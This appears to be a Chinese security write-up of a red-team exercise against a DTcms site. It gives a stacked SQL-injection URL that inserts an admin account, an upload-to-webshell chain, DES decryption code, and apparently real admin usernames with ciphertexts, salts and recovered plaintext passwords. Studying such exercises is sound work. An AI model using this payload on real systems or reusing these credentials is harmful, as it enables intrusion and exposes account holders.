记录一次攻防演练中的代码审计
字数 1101 2025-08-27 12:33:37

DTcms 攻防演练中的代码审计与利用技术详解

1. 初始发现与信息收集

1.1 MSSQL 注入发现

  • 目标系统存在 MSSQL 注入漏洞
  • 通过注入获取到管理员账号和加密密码:
    erui/E7B8D79CB1F8267E98411A1081B75FBD
    admin/154A70BBAD1377B256671E16CAF430ED
    lchh/262BA2BFC886B171B5488CA6E9F25BB8
    

1.2 密码分析

  • 发现密码采用加盐 MD5 加密方式
  • 通过进一步信息收集获取到盐值:
    erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ
    admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ
    lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84
    

2. 攻击思路与尝试

2.1 思路一:堆叠注入插入数据

  1. 识别系统:通过报错信息确认系统为 DTCMS

  2. 获取源码:从 GitHub 获取 DTCMS 源码

  3. 分析数据库结构:在 SQL 文件中找到管理员表结构:

    INSERT [dbo].[dt_manager] ([id], [role_id], [role_type], [user_name], [password], [salt], [avatar], [real_name], [telephone], [email], [is_audit], [is_lock], [add_time]) 
    VALUES (1, 1, 1, N'admin', N'87FA6AD6CBFDF3108E4DD6F47F5D04A4', N'24V0XZ', N'', N'超级管理员', N'13800138000', N'info@dtcms.net', 0, 0, CAST(0x0000A73C00E1AC44 AS DateTime))
    
  4. 构造注入 Payload

    https://url?id=1;insert into dt_manager(role_id,role_type,father_id,user_name,password,salt,is_lock) values(1,1,0,'test','87FA6AD6CBFDF3108E4DD6F47F5D04A4','24V0XZ',0);--+
    
    • 插入账号:test
    • 密码:admin888(已知默认密码)
    • 盐值:24V0XZ
  5. 后续利用

    • 登录后通过文件上传功能获取 shell
    • 添加允许上传的文件类型:.aspx, .ashx
    • 上传 WebShell(如哥斯拉马)实现远程控制

2.2 思路二:代码审计解密密码

2.2.1 关键文件定位

  1. 登录逻辑DTcms.Web 中的 login.aspx.cs
  2. 管理类BLL.manager()(位于 DTcms.BLL 文件夹中的 manager.cs
  3. 加密类DESEncrypt(位于 DTcms.Common 中)

2.2.2 加密流程分析

  1. 登录时从数据库获取用户盐值
  2. 调用 DESEncrypt.Encrypt(password, salt) 对输入密码进行加密
  3. 将加密结果与数据库中存储的密码比对

2.2.3 DESEncrypt 类详解

using System;
using System.Security.Cryptography;
using System.Text;

namespace DTcms.Common
{
    public class DESEncrypt
    {
        // 加密方法
        public static string Encrypt(string Text, string sKey)
        {
            DESCryptoServiceProvider des = new DESCryptoServiceProvider();
            byte[] inputByteArray = Encoding.Default.GetBytes(Text);
            
            // 使用盐值生成 Key 和 IV
            des.Key = ASCIIEncoding.ASCII.GetBytes(
                System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
            des.IV = ASCIIEncoding.ASCII.GetBytes(
                System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
            
            // 执行加密
            MemoryStream ms = new MemoryStream();
            CryptoStream cs = new CryptoStream(ms, des.CreateEncryptor(), CryptoStreamMode.Write);
            cs.Write(inputByteArray, 0, inputByteArray.Length);
            cs.FlushFinalBlock();
            
            // 返回十六进制字符串
            StringBuilder ret = new StringBuilder();
            foreach(byte b in ms.ToArray())
            {
                ret.AppendFormat("{0:X2}", b);
            }
            return ret.ToString();
        }

        // 解密方法
        public static string Decrypt(string Text, string sKey)
        {
            DESCryptoServiceProvider des = new DESCryptoServiceProvider();
            int len = Text.Length / 2;
            byte[] inputByteArray = new byte[len];
            
            // 将十六进制字符串转换为字节数组
            for(int x = 0; x < len; x++)
            {
                int i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
                inputByteArray[x] = (byte)i;
            }
            
            // 使用盐值生成 Key 和 IV
            des.Key = ASCIIEncoding.ASCII.GetBytes(
                System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
            des.IV = ASCIIEncoding.ASCII.GetBytes(
                System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
            
            // 执行解密
            MemoryStream ms = new MemoryStream();
            CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
            cs.Write(inputByteArray, 0, inputByteArray.Length);
            cs.FlushFinalBlock();
            
            return Encoding.Default.GetString(ms.ToArray());
        }
    }
}

2.2.4 解密实现代码

using System;
using System.Security.Cryptography;
using System.Text;
using System.Web;

namespace ConsoleApp1
{
    class Program
    {
        public static string Decrypt(string Text, string sKey)
        {
            // 实现与上述相同的解密逻辑
            // ...
        }

        static void Main(string[] args)
        {
            Console.WriteLine(Decrypt("E7B8D79CB1F8267E98411A1081B75FBD", "24V0XZ"));  // 输出: lina790419
            Console.WriteLine(Decrypt("154A70BBAD1377B256671E16CAF430ED", "42V8XZ")); // 输出: asdfghjk1
            Console.WriteLine(Decrypt("262BA2BFC886B171B5488CA6E9F25BB8", "J6ZT84")); // 输出: sunlue2009
        }
    }
}

3. 技术要点总结

  1. MSSQL 注入利用

    • 堆叠注入的特殊利用方式
    • 通过插入数据绕过密码解密需求
  2. 代码审计关键点

    • 定位关键功能代码(登录、加密)
    • 理解 .NET 项目结构(.ashx、.cs 文件作用)
    • 跟踪加密流程
  3. 加密算法分析

    • 识别实际使用的是 DES 而非最初认为的 MD5
    • 理解盐值在加密中的使用方式
    • 实现逆向解密算法
  4. 系统漏洞链

    • MSSQL 注入 → 获取加密凭证 → 堆叠注入插入账户 → 登录系统 → 文件上传获取 shell
    • 或:代码审计 → 解密凭证 → 直接登录

4. 防御建议

  1. 防止 SQL 注入

    • 使用参数化查询
    • 限制数据库账号权限
  2. 密码安全

    • 使用强加密算法(如 bcrypt、PBKDF2)
    • 每个用户使用唯一盐值
    • 避免在代码中硬编码加密逻辑
  3. 文件上传安全

    • 严格限制可上传文件类型
    • 对上传内容进行检测
  4. 代码安全

    • 避免在客户端实现敏感逻辑
    • 对加密算法实现进行混淆
  5. 日志监控

    • 监控异常登录行为
    • 记录数据库敏感操作
DTcms 攻防演练中的代码审计与利用技术详解 1. 初始发现与信息收集 1.1 MSSQL 注入发现 目标系统存在 MSSQL 注入漏洞 通过注入获取到管理员账号和加密密码: 1.2 密码分析 发现密码采用加盐 MD5 加密方式 通过进一步信息收集获取到盐值: 2. 攻击思路与尝试 2.1 思路一:堆叠注入插入数据 识别系统 :通过报错信息确认系统为 DTCMS 获取源码 :从 GitHub 获取 DTCMS 源码 分析数据库结构 :在 SQL 文件中找到管理员表结构: 构造注入 Payload : 插入账号: test 密码: admin888 (已知默认密码) 盐值: 24V0XZ 后续利用 : 登录后通过文件上传功能获取 shell 添加允许上传的文件类型: .aspx , .ashx 上传 WebShell(如哥斯拉马)实现远程控制 2.2 思路二:代码审计解密密码 2.2.1 关键文件定位 登录逻辑 : DTcms.Web 中的 login.aspx.cs 管理类 : BLL.manager() (位于 DTcms.BLL 文件夹中的 manager.cs ) 加密类 : DESEncrypt (位于 DTcms.Common 中) 2.2.2 加密流程分析 登录时从数据库获取用户盐值 调用 DESEncrypt.Encrypt(password, salt) 对输入密码进行加密 将加密结果与数据库中存储的密码比对 2.2.3 DESEncrypt 类详解 2.2.4 解密实现代码 3. 技术要点总结 MSSQL 注入利用 : 堆叠注入的特殊利用方式 通过插入数据绕过密码解密需求 代码审计关键点 : 定位关键功能代码(登录、加密) 理解 .NET 项目结构(.ashx、.cs 文件作用) 跟踪加密流程 加密算法分析 : 识别实际使用的是 DES 而非最初认为的 MD5 理解盐值在加密中的使用方式 实现逆向解密算法 系统漏洞链 : MSSQL 注入 → 获取加密凭证 → 堆叠注入插入账户 → 登录系统 → 文件上传获取 shell 或:代码审计 → 解密凭证 → 直接登录 4. 防御建议 防止 SQL 注入 : 使用参数化查询 限制数据库账号权限 密码安全 : 使用强加密算法(如 bcrypt、PBKDF2) 每个用户使用唯一盐值 避免在代码中硬编码加密逻辑 文件上传安全 : 严格限制可上传文件类型 对上传内容进行检测 代码安全 : 避免在客户端实现敏感逻辑 对加密算法实现进行混淆 日志监控 : 监控异常登录行为 记录数据库敏感操作